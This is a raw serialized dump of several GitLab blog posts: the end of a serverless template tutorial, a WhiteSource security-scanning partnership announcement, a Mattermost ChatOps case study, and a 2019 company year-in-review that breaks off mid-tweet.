\"hello\" function like so:\n\n```yml\nfunctions:\n  hello:\n    handler: src/handler.hello\n    events:\n      - http:\n          path: hello\n          method: get\n          cors: true\n  add:\n    handler: src/handler.add\n    events:\n      - http:\n          path: add\n          method: get\n          cors: true\n```\n\nStage and commit these changes directly to the `master` branch. This will have triggered a new pipeline automatically. You can visit \"CI/CD -> Pipelines\" and watch it run.\n\nOnce the deployment is complete, our project page should look like this:\n\n![Step 5 Result](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-5.1.gif){: .shadow.medium.center}\n\nVoilà, we've just created our own serverless function and deployed it without a single terminal command. There's a lot more you can do from here, but this should be a good place to get started. Happy coding!\n\n\u003C!-- Content ends here -->\n\nCover image by [Kaushik Panchal](https://unsplash.com/@kaushikpanchal) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[232,754,3949],{"slug":25436,"featured":6,"template":678},"serverless-js-project-template","content:en-us:blog:serverless-js-project-template.yml","Serverless Js Project Template","en-us/blog/serverless-js-project-template.yml","en-us/blog/serverless-js-project-template",{"_path":25442,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25443,"content":25449,"config":25454,"_id":25456,"_type":16,"title":25457,"_source":17,"_file":25458,"_stem":25459,"_extension":20},"/en-us/blog/whitesource-gitlab-security-integration",{"title":25444,"description":25445,"ogTitle":25444,"ogDescription":25445,"noIndex":6,"ogImage":25446,"ogUrl":25447,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25447,"schema":25448},"GitLab and WhiteSource: the easy way to secure your open source code","How we integrated with GitLab's security dashboards to make it easier to secure your open source code earlier in the dev lifecycle","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681016/Blog/Hero%20Images/gitlab-whitesource.png","https://about.gitlab.com/blog/whitesource-gitlab-security-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and WhiteSource: the easy way to secure your open source code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Guy Bar-Gil, Product Manager at WhiteSource\"}],\n        \"datePublished\": \"2020-01-14\",\n      }",{"title":25444,"description":25445,"authors":25450,"heroImage":25446,"date":25414,"body":25452,"category":813,"tags":25453},[25451],"Guy Bar-Gil, Product Manager at WhiteSource","\n\nDevelopment teams have gotten used to relying on open source components to build powerful innovative software at a neck-breaking pace. The speed is certainly accelerating, but what about the security of our applications? Unfortunately, this is often treated as an afterthought, which is not surprising since security has traditionally been seen as a tiresome and time-consuming task that comes after the development stage and slows down production.\n\nIn an attempt to keep security up to speed with the pace of development, organizations are realizing that it can no longer be introduced in the later stages of the software development lifecycle (SDLC). Instead, fusing security into the earlier stages of the SDLC can enable development teams to detect and remediate vulnerabilities when they are significantly easier, quicker and cheaper to fix.\n\nBut how can we integrate security into our development process without adding more work and slowing down our pace?\n\nWell that's where GitLab and WhiteSource come in.\n\n## Secure open source code while in your GitLab UI\n\nWhiteSource has leveraged GitLab's Open Core to empower developers with the tools needed to find and fix open source vulnerabilities. The integration provides developer-focused security tools that operate within the native coding environment and within the [GitLab CI/CD pipeline](/topics/ci-cd/), allowing them to continuously address security without having to compromise on agility.\n\nWith the newest integration to GitLab Ultimate, developers gain richer insight into vulnerable open source components discovered by WhiteSource right in the merge request pipeline. At the same time security pros can see this in the GitLab Security Dashboard alongside scan results from SAST, DAST, containers, and license compliance. WhiteSource supports many more languages and provides richer dependency insight than GitLab alone. With GitLab, both security users and developers can see new, unresolved vulnerabilities for every code commit, with actionable insights on vulnerable open source libraries as well as all of their dependencies as soon as they are added to their projects.\n\n## Ensuring a secure future, together\n\nWith our partnership, we want to ensure that developers are able to harness the power of open source to create innovative products without having to compromise on security, speed, or agility.\n\n## So, what's next?\n\nVery soon, we'll be sharing a blog post with a step-by-step guide on how to integrate WhiteSource into your native GitLab environment. The best tips and tricks will be included to ensure you'll be able to secure your open source components freely and fearlessly.\n",[232,815,674],{"slug":25455,"featured":6,"template":678},"whitesource-gitlab-security-integration","content:en-us:blog:whitesource-gitlab-security-integration.yml","Whitesource Gitlab Security Integration","en-us/blog/whitesource-gitlab-security-integration.yml","en-us/blog/whitesource-gitlab-security-integration",{"_path":25461,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25462,"content":25468,"config":25475,"_id":25477,"_type":16,"title":25478,"_source":17,"_file":25479,"_stem":25480,"_extension":20},"/en-us/blog/how-enterprise-dev-teams-use-gitlab-mattermost-chatops",{"title":25463,"description":25464,"ogTitle":25463,"ogDescription":25464,"noIndex":6,"ogImage":25465,"ogUrl":25466,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25466,"schema":25467},"Teams speed development with GitLab & Mattermost ChatOps","A complete DevOps toolchain plus open source messaging and ChatOps – what’s not to love?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680983/Blog/Hero%20Images/mattermost-gitlab.png","https://about.gitlab.com/blog/how-enterprise-dev-teams-use-gitlab-mattermost-chatops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How enterprise dev teams use GitLab and Mattermost ChatOps to accelerate development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Blais – Mattermost\"}],\n        \"datePublished\": \"2020-01-13\",\n      }",{"title":25469,"description":25464,"authors":25470,"heroImage":25465,"date":25472,"body":25473,"category":813,"tags":25474},"How enterprise dev teams use GitLab and Mattermost ChatOps to accelerate development",[25471],"Jason Blais – Mattermost","2020-01-13","\n\nThere has never been more pressure on development teams to build software faster and more efficiently. The rise in popularity of DevOps has largely been the result of its promise to speed up dev cycles, increase agility, and help teams resolve issues more quickly. And while the availability and sophistication of DevOps tools have improved greatly in the last few years, simply choosing the latest and greatest tools is no guarantee of a smooth, problem-free development lifecycle.\n\n## Why GitLab\n\nIn an ecosystem with exponentially increasing choice and complexity, GitLab provides a complete open source [DevOps platform](/solutions/devops-platform/) that can speed up cycles, reduce development costs, and improve developer efficiency. From planning and code to deployment and monitoring (and back again), GitLab brings a myriad of tools together into one open source toolset.\n\n## Why Mattermost ChatOps\n\nWe’re big fans of GitLab here at Mattermost, which is why Mattermost is packaged with GitLab Omnibus and why we work to make sure Mattermost is easy to [set up with GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc/gitlab-mattermost).\n\n[Mattermost’s open source ChatOps platform](https://mattermost.com/blog/introducing-mattermost-chatops/) allows you to surface relevant information to your team and enables you to take action directly where you’re having conversations. When an issue comes in, a ChatOps workflow can alert relevant team members, who all work together to make a fix directly within Mattermost.\n\nChatOps provides a method to interact with CI/CD jobs through messaging. Many organizations’ discussion, collaboration, and troubleshooting is taking place in messaging services these days, and having a method to run CI/CD jobs with output posted back to the channel can significantly accelerate a team’s workflow. ChatOps not only increases communication and collaboration, but a searchable history of the conversations associated with your development cycle increases transparency and creates a repository of valuable information for the team.\n\n## Mattermost + GitLab\n\nA complete DevOps toolchain plus open source messaging and ChatOps – what’s not to love? With GitLab and Mattermost, teams can not only simplify their DevOps process, but also bring their processes into the same chat interface where team members are discussing issues, collaborating, and making decisions.\n\nHere are a couple of examples of how development teams use Mattermost and GitLab together to accelerate developer productivity through ChatOps.\n\n### itk uses GitLab and Mattermost to ship more code on time and 6x production deployments per year\n\n[Itk](https://www.itk.fr/en/), based in Montpellier, France, develops tools and applications to help farmers optimize yields, increase the quality of crops, and manage risks more effectively.\n\nThey began using GitLab around 2014 and primarily used a legacy chat tool for day-to-day collaboration, messaging, and video calling. However, as the company grew, this tool didn’t scale with them; there was no persistent, easily searchable messaging, and collaboration across the team became more difficult. They began to look for an alternative.\n\nShortly thereafter, they discovered that the GitLab Omnibus package ships with an open source messaging platform for developers: Mattermost. They immediately fell in love with its easy code-sharing capabilities – including automatic syntax highlighting and full Markdown support, and the ease of sharing knowledge, searching past conversations, and collaborating on ideas across the team to develop new solutions all integrated together with GitLab.\n\nBefore switching to Mattermost, team members hadn’t been able to easily get notified about their development process. But they wanted to be able to visibly track projects, merge requests, and other activities from GitLab.\n\nThis is when Romain Maneschi, a software developer at itk, began writing a GitLab plugin for Mattermost that would further enable his team to subscribe to GitLab notifications in Mattermost and receive notifications about new issue assignments and review requests in one place.\n\nToday, [the plugin supports](https://github.com/mattermost/mattermost-plugin-gitlab):\n\n- **Daily reminders** – get informed on what issues and merge requests need your attention\n- **Notifications** – get notified in Mattermost when someone mentions you, requests your review, or assigns an issue to you on GitLab\n- **Sidebar buttons** – stay up-to-date with how many reviews, unread messages, assignments and open merge requests you have with buttons in the Mattermost sidebar\n- **Subscribe to projects** – use slash commands to subscribe a Mattermost channel to receive notifications of new merge requests or issues in a GitLab project\n\nNow, his whole company uses both GitLab and Mattermost to accelerate workflows through ChatOps. As a result, they now ship more code on time, resulting in 3x growth in the number of projects and microservices managed by the team and 6x growth in the number of production deployments within a year – all while growing their dev and agronomist teams by 5x.\n\n![GitLab Mattermost plugin](https://about.gitlab.com/images/blogimages/gitlab-mattermost-plugin.png){: .shadow.medium.center}\n\u003C!-- image: https://user-images.githubusercontent.com/13119842/70714554-5b52cc80-1cb6-11ea-9cd6-705a68f9ac1b.png -->\n\n### A software development company increases productivity through better transparency and visibility into code and configuration changes\n\nA software development and data services company based in the state of Maryland has also rolled out Mattermost integrated with GitLab to increase productivity and seamlessly collaborate.  They provide analytics, data management, and software development services to biomedical researchers and organizations worldwide.\n\nGitLab is heavily used across their team and they consider it a huge asset in their DevOps workflows.\n\nThey have also integrated GitLab and Mattermost together by pushing GitLab commits to a single Mattermost channel via webhooks, enabling senior management to get a bird’s-eye view of everything that’s rolling through in a given day. It includes updates for configuration management and version control, giving a snapshot of different changes made to internal infrastructure and systems throughout the day.\n\nThe team has also set up separate “Heartbeat” channels to send notifications on application events. Having these messages funnel to specific Heartbeat channels avoids distracting the flow of conversations in regular project collaboration channels while empowering team members to jump on issues posted in the Heartbeat channels.\n\nOne of the key benefits this integration brings to the team is the visibility of changes made to versions and configuration management in real time; as soon as a change is committed and pushed live, a notification is sent to the Heartbeat channel which anyone can subscribe to. No more switching between apps, asking team members, or tracking down commits – it’s now all in one place inside Mattermost while configuration management and app development takes place in GitLab.\n\n### GitLab and Mattermost ChatOps improve transparency and productivity to accelerate development\n\nMattermost [ships as part of the GitLab Omnibus package](https://docs.gitlab.com/omnibus/gitlab-mattermost/), providing out-of-the box support for GitLab SSO, pre-packaged GitLab integrations, and PostgreSQL support, along with a Prometheus integration that enables systems monitoring and [incident response management](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#taking-action-on-incidents). Finally, Mattermost can now also be deployed [with GitLab Cloud Native](https://docs.mattermost.com/install/install-mmte-helm-gitlab-helm.html).\n\nThere’s never been a better time for DevOps teams to get the full benefits of open source ChatOps. Try it out by installing GitLab Omnibus with Mattermost today.",[2368,232,815],{"slug":25476,"featured":6,"template":678},"how-enterprise-dev-teams-use-gitlab-mattermost-chatops","content:en-us:blog:how-enterprise-dev-teams-use-gitlab-mattermost-chatops.yml","How Enterprise Dev Teams Use Gitlab Mattermost Chatops","en-us/blog/how-enterprise-dev-teams-use-gitlab-mattermost-chatops.yml","en-us/blog/how-enterprise-dev-teams-use-gitlab-mattermost-chatops",{"_path":25482,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25483,"content":25489,"config":25494,"_id":25496,"_type":16,"title":25497,"_source":17,"_file":25498,"_stem":25499,"_extension":20},"/en-us/blog/2019-year-in-review",{"title":25484,"description":25485,"ogTitle":25484,"ogDescription":25485,"noIndex":6,"ogImage":25486,"ogUrl":25487,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25487,"schema":25488},"Highlights from 2019","2019 was a big year for GitLab! We look back on our achievements and growth from the past year.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665651/Blog/Hero%20Images/gitlab-holiday-2019-blog-cover.png","https://about.gitlab.com/blog/2019-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Highlights from 2019\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-01-09\",\n      }",{"title":25484,"description":25485,"authors":25490,"heroImage":25486,"date":25491,"body":25492,"category":736,"tags":25493},[17272],"2020-01-09","\n\nAt GitLab, we’re going into 2020 with big energy. 🙌 Take a look at the 2019 milestones that laid a solid foundation for the company as we gear up for our IPO, planned for November 2020.\n\nIn 2019, our company more than doubled in size as we hired more talented folks, many of whom helped us move our product closer to being a true [multicloud solution](/topics/multicloud/). But the core of GitLab is our open source community, and in 2019 our community made plenty of valuable contributions in merge requests, feature fixes, and security checks! Explore some of the 2019 highlights for the GitLab product, community, and company.\n\n- [Product highlights](#product)\n- [Community highlights](#community)\n- [Company highlights](#company)\n\n\n## Product\n\nWe introduced many exciting new features to help our GitLab product better serve the needs of our users.\n\n### Multi-level child epics make project management a breeze\n\nBefore our 11.7 release, epics were limited to a two-level structure, but [in 11.7 we introduced multi-level child epics](/releases/2019/01/22/gitlab-11-7-released/#multi-level-child-epics), so you can now have an ancestor epic that contains up to five levels of child epics, as well as issues. This feature allows longer-term work strategies to be defined in ancestor epics, with strategy and deliverables being articulated in the lower tiers.\n\n\n\n### Auto-renew certs using Let’s Encrypt\n\nOne of our most highly-requested features was the introduction of a custom domain in GitLab pages [that automates HTTPS certificate renewals.](https://gitlab.com/gitlab-org/gitlab-foss/issues/28996) We delivered in 12.1 by integrating with Let’s Encrypt to transition this process from being manual to automated.\n\n### Totally buggin’: Track errors using Sentry\n\nUsing Sentry, our users can get more visibility into their entire stack, making it faster and easier to identify and remediate bugs in your code. [Read this blog post to dive deeper into how our integration with Sentry works](/blog/sentry-integration-blog-post/) or watch the video below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/KUHk1uuXWhA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Accelerate delivery using scoped labels\n\n[We created the scoped labels in 11.10](/blog/issue-labels-can-now-be-scoped/), making it simpler for users to customize workflows and accelerate delivery.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Great news, friends! Issue labels can now be scoped 😍\u003Cbr>\u003Cbr>Scoped Labels make it possible for teams to define a basic custom field that avoids confusion and cleans up issue lists ✔️\u003Ca href=\"https://t.co/U2T9BBIgBs\">https://t.co/U2T9BBIgBs\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1141782522013134848?ref_src=twsrc%5Etfw\">June 20, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWatch the video below to see two use cases for scoped labels.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/4BCBby6du3c\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Merge trains keep your pipeline running\n\nBroken master is a developer’s worst enemy. We want our users to keep their pipelines moving, which is [why we created merge trains to keep your pipelines in the green](/blog/how-to-avoid-broken-master-with-pipelines-for-merge-requests/).\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">GitLab 12.1 released with Parallel Merge Trains, Merge Requests for Confidential Issues, Automated Let’s Encrypt certificates for GitLab Pages and much more! Enjoy! 🎉🙌🚀\u003Ca href=\"https://t.co/oRp7YF9mmo\">https://t.co/oRp7YF9mmo\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1153319179266809857?ref_src=twsrc%5Etfw\">July 22, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### CE and EE are in a single codebase\n\nIn August, [we officially migrated GitLab CE and GitLab EE to a single codebase](/blog/a-single-codebase-for-gitlab-community-and-enterprise-edition/). Keeping CE and EE in their own repositories made the development process more complex than was necessary, and by moving to a single codebase we simplified a problem that was becoming more complicated over time. A migration of this size wasn’t a simple process. [Our blog post dives into more detail about how we managed the migration](/blog/a-single-codebase-for-gitlab-community-and-enterprise-edition/).\n\n### Multicloud: This is the way\n\n#### Create and deploy to an EKS cluster\n\nGitLab is designed to be cloud-agnostic and in the spirit of multicloud, [we added an EKS integration to 12.5](/releases/2019/11/22/gitlab-12-5-released/#easily-create-and-deploy-to-an-eks-cluster). Now, users can create and deploy an EKS cluster by selecting the EKS option on the GitLab clusters page rather than having to build the integration from scratch. Watch the demo below to see how it works, or [read our documentation page](/releases/2019/11/22/gitlab-12-5-released/#easily-create-and-deploy-to-an-eks-cluster).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/DGvPEJUnXME\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### Deploy to any cloud with GitLab CI/CD\n\nLearn more about how [GitLab CI/CD makes it possible to work with any cloud provider](/blog/gitlab-ci-cd-is-for-multi-cloud/). Study our [Guide to the Cloud](/resources/guide-to-the-cloud/) to become an expert in this topic.\n\nOther notable accomplishments include:\n\n*   [How our delivery team used the “boring solution” to migrate GitLab.com to CI/CD](/blog/gitlab-journey-to-cicd/).\n*   The introduction of [instance-level Kubernetes](https://docs.gitlab.com/ee/user/instance/clusters/).\n*   [DAG pipelines](/releases/2019/08/22/gitlab-12-2-released/#directed-acyclic-graphs-dag-for-gitlab-pipelines), which allow certain jobs to be completed in a non-consecutive order between stages.\n\n## Community\n\nIn 2019, GitLab benefitted from a highly engaged and collaborative community of contributors.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">While GitLab the company is growing quickly, we also have over 2500 contributors to GitLab from the wider community. \u003Cbr>\u003Cbr>Those contributors are providing over 200 contributions per month 💥\u003Ca href=\"https://twitter.com/hashtag/GitLabCommit?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabCommit\u003C/a> \u003Ca href=\"https://t.co/qrSCCAKtpE\">pic.twitter.com/qrSCCAKtpE\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1181889359492108295?ref_src=twsrc%5Etfw\">October 9, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### Code contributions soared\n\nIn 2018, we had 447 code contributors create 1,608 merge requests. [Our numbers nearly doubled in 2019](https://gitlab.com/gitlab-com/www-gitlab-com/issues/6075#note_262597822) with an astounding 861 code contributors creating 2,437 merge requests (as of Dec. 18 2019). This marks more than 50% year-over-year growth in merged MRs for the wider community. We can’t wait to see what you folks have in store for us in 2020!\n\n## One million merge requests\n\nIn March 2019, our community broke more records by [submitting one million merge requests to GitLab.com](/blog/1-mil-merge-requests/) in a month. In fact, the number of new MRs per active user increased by 40% year-over-year (May 2019 vs. May 2018).\n\nThe majority of these contributions were part of private projects on GitLab.com, indicating there is the potential for _even more growth_ in the New Year if our contributors resolve to submit to some of our public projects too.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://t.co/C4mACZpLWf\">https://t.co/C4mACZpLWf\u003C/a> received a record 1 million merge requests in March 2019 😱\u003Ca href=\"https://t.co/Ii57tcSbq1\">https://t.co/Ii57tcSbq1\u003C/a>\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1136714388914757633?ref_src=twsrc%5Etfw\">June 6, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### Our bug bounty program goes public\n\nOur bug bounty program launched in 2017 but was limited to the top 10% of HackerOne contributors. But in 2019, we elected to accelerate our efforts by making the program public – and our community did not disappoint! In the first seven weeks of our program, 42% of all reporters were first-time contributors and 64% of all of the reports we received came from folks new to the GitLab program.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">&quot;We’re proud to see the benefits and value being generated by our bug bounty program and specifically our reporter community.&quot;\u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@GitLab\u003C/a> shares where their team is succeeding and focusing on improvement after moving to a public program. Fantastic job!\u003Ca href=\"https://t.co/iZ7rYqKmmq\">https://t.co/iZ7rYqKmmq\u003C/a> \u003Ca href=\"https://t.co/7WcrPWIMbQ\">pic.twitter.com/7WcrPWIMbQ\u003C/a>\u003C/p>&mdash; HackerOne (@Hacker0x01) \u003Ca href=\"https://twitter.com/Hacker0x01/status/1154159537596899329?ref_src=twsrc%5Etfw\">July 24, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nThank you to all of our reporters who helped make our product and platform even more secure.\n\n## Company\n\nJust like any start-up, GitLab came from humble beginnings, but in 2019 we’ve had more and more organizations adopt our tool as their all-in-one DevOps solution, and our team, funding, and corporate events have grown to accommodate the demand.\n\n### GitLab valued at $2.75 billion\n\nOur plans for a 2020 IPO are off to a roaring start! 🚀 In less than a year, we’ve more than doubled our company’s valuation from $1.1 billion in 2018 to $2.75 billion in 2019, after raising $268 million in September 2019. The money comes from existing funders such as Goldman Sachs as well as nine investors that are brand new to GitLab.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">GitLab (YC W15) hauls in $268M Series E on 2.75B valuation. Congrats to the GitLab team! \u003Ca href=\"https://t.co/8tfxnfu3YN\">https://t.co/8tfxnfu3YN\u003C/a>\u003C/p>&mdash; Y Combinator (@ycombinator) \u003Ca href=\"https://twitter.com/ycombinator/status/1173998823850545157?ref_src=twsrc%5Etfw\">September 17, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWe’ll be reinvesting all of that money into making our DevOps platform the best in its class, bolstering its monitoring, security, and planning capabilities.\n\n### We’re (always) hiring!\n\nSince the company launched in 2015, our headcount has more than doubled each year. At the end of January 2019, we had roughly 452 team members at GitLab but as of Jan. 9, 2020 we've grown to 1,137 team members and counting.\n\n\u003Cembed width=\"100%\" height=\"100%\" src=\"\u003C%= signed_periscope_url(chart: 6551186, dashboard: 503779, embed: 'v2') %>\">\n\nThe chart embedded above provides an interactive look at the growth of our company.\n\nExplosive growth in team members is exciting, but when it comes time to organize GitLab Contribute, our annual event for team members and the wider GitLab community, there simply is no cookie cutter solution for accommodating more than a thousand people. Learn more about [how our corporate events team has mastered the persistent challenge of scale](/blog/how-we-scaled-our-summits/) when planning GitLab Contribute.\n\n### GitLab heads down to the bayou\n\nSpeaking of Contribute... in May 2019, more than 500 GitLab team members met in New Orleans for our yearly summit. In between bites of beignets, our [GitLab team managed to meet, mingle, and ship lots of code](/blog/contribute-wrap-up/). If you missed us in NOLA, [catch us in Prague in 2020](/events/gitlab-contribute/).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/xdtPNXtkBhE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nVideo directed and produced by [Aricka Flowers](/company/team/#arickaflowers)\n{: .note}\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Just arrived at \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/Contribute?src=hash&amp;ref_src=twsrc%5Etfw\">#Contribute\u003C/a>! Everything is so amazing the energy is palpable. Thankful to the Contribute Team for all their hard work. Onwards to dinner and debriefing with ma peeps now! \u003Ca href=\"https://twitter.com/hashtag/NOLA?src=hash&amp;ref_src=twsrc%5Etfw\">#NOLA\u003C/a> \u003Ca href=\"https://t.co/NmQ1PtLdkl\">pic.twitter.com/NmQ1PtLdkl\u003C/a>\u003C/p>&mdash; Priyanka Sharma (@pritianka) \u003Ca href=\"https://twitter.com/pritianka/status/1126243914762027008?ref_src=twsrc%5Etfw\">May 8, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### The future of DevOps starts here\n\nThe best way to get a bird’s eye view into operations and decision-making at a rapidly growing company is to start from the highest point. GitLab pioneered a [new CEO shadow program](/handbook/ceo/shadow/) designed to help current and future leaders of GitLab get a comprehensive overview of how our organization operates. The task of a CEO shadow is simple: Join GitLab CEO [Sid Sijbrandij](/company/team/#sytses) at his home office in San Francisco and follow him to relevant meetings (digitally and IRL).\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">It&#39;s been an incredible experience getting to \u003Ca href=\"https://twitter.com/hashtag/contribute?src=hash&amp;ref_src=twsrc%5Etfw\">#contribute\u003C/a> to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a>! I ❤️ the story my graph tells. Now, which should I be most proud of: \u003Cbr>\u003Cbr>1. Becoming an intermediate-level Git user\u003Cbr>2. Participating in the CEO Shadow Program\u003Cbr>3. Taking 5 wks of vacation last year (clear winner) \u003Ca href=\"https://t.co/hN7kcxEHay\">pic.twitter.com/hN7kcxEHay\u003C/a>\u003C/p>&mdash; Erica Lindberg (@EricaLindberg_) \u003Ca href=\"https://twitter.com/EricaLindberg_/status/1125885748878536705?ref_src=twsrc%5Etfw\">May 7, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n[Erica Lindberg](/company/team/index.html#Lindberg), Global Content Manager, kicked off the CEO shadow program back in April 2019, but since then we’ve had a rotating schedule of CEO shadows that can drop in and drop out with ease and efficiency. [Get an inside look at the life of a CEO shadow by reading Erica's blog post](https://medium.com/gitlab-magazine/acquisitions-growth-curves-and-ipo-strategies-a-day-at-khosla-ventures-2762eb02c83a) and [learn more about the logistics and enrollment criteria](/handbook/ceo/shadow/#expenses-travel-and-lodging).\n\n### GitLab launches Commit, our first user conference\n\n🥳 Contribute is for our team members and community but [GitLab Commit](/events/commit/) is all about our users. We kicked off Commit in London and Brooklyn, inviting GitLab users to join us for a day of DevOps inspiration and learning.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003C!-- first tweet -->\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Hot take: Auto \u003Ca href=\"https://twitter.com/hashtag/DevOps?src=hash&amp;ref_src=twsrc%5Etfw\">#DevOps\u003C/a> cures shell script madness. And \u003Ca href=\"https://twitter.com/hashtag/GitOps?src=hash&amp;ref_src=twsrc%5Etfw\">#GitOps\u003C/a> is just another way to say git is the source of truth. Wisdom from \u003Ca href=\"https://twitter.com/digitalocean?ref_src=twsrc%5Etfw\">@digitalocean\u003C/a> Developer Relations Mgr. \u003Ca href=\"https://twitter.com/eddiezane?ref_src=twsrc%5Etfw\">@eddiezane\u003C/a> &amp; \u003Ca href=\"https://twitter.com/NMFinancial?ref_src=twsrc%5Etfw\">@NMFinancial\u003C/a> Senior Engineers Kyle Persohn, &amp; Sean Corkum \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> Commit. \u003Ca href=\"https://t.co/4YI5WvMRzD\">pic.twitter.com/4YI5WvMRzD\u003C/a>\u003C/p>&mdash; The New Stack (@thenewstack) \u003Ca href=\"https://twitter.com/thenewstack/status/1174035665803186176?ref_src=twsrc%5Etfw\">September 17, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- second tweet -->\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">I started speaking at conferences 11 years ago, and that&#39;s the time I had to wait for an opportunity to present my first talk in English. Thanks \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> for having me at \u003Ca href=\"https://twitter.com/hashtag/GitLabCommit?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabCommit\u003C/a> last week, for amazing days in London. So much learning, new friends and good memories. \u003Ca href=\"https://t.co/OOchLmelpe\">pic.twitter.com/OOchLmelpe\u003C/a>\u003C/p>&mdash; Mario García (@mariogmd) \u003Ca 